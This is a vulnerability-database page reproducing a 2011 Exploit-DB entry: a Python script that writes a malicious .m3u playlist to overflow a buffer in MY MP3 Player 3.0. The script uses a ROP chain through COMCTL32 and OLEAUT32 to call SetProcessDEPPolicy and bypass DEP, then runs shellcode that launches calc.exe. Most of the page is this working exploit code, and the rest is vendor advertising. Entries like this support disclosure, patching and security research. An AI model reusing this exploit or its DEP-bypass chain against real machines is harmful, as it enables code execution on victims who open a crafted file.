Lucene search
K

MY MP3 Player 3.0 - '.m3u' DEP Bypass

🗓️ 17 Sep 2011 00:00:00Reported by blakeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 18 Views

MY MP3 Player 3.0 - '.m3u' DEP Bypass written by Blake to bypass OptIn/OptOut DEP policy, tested on Windows XP SP3 in virtualbox. Malicious .m3u file creates buffer overflow with shellcode using RETN - COMCTL32, POP EBX, INC EBX, POP EBP, SetProcessDEPPolicy, POP EDI, POP ESI, PUSHAD

Code
# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "  MY MP3 Player DEP Bypass  "
print " Bypass OptIn/OptOut Policy "
print "  Tested on Windows XP SP3  "
print "      Written by Blake      "
print "============================\n"
 
# calc.exe - 1014 bytes of space for shellcode
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 1024
eip = "\x99\x13\x09\x5d"	# RETN - COMCTL32
rop = "\x42" * 4			# junk to compensate
rop += "\x8c\x39\x09\x5d"	# POP EBX, RETN - COMCTL32
rop += "\xff\xff\xff\xff"
rop += "\x28\x90\x12\x77"	# INC EBX, RETN - OLEAUT32
rop += "\x44\x94\x12\x77"	# POP EBP, RETN - OLEAUT32
rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
rop += "\x36\x1c\x12\x77"	# POP EDI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xd4\x1a\x12\x77"	# POP ESI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xf7\x8c\x14\x77"	# PUSHAD, RETN - OLEAUT32
nops = "\x90" * 20
junk = "\x42" * (2000 - len(nops + shellcode + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation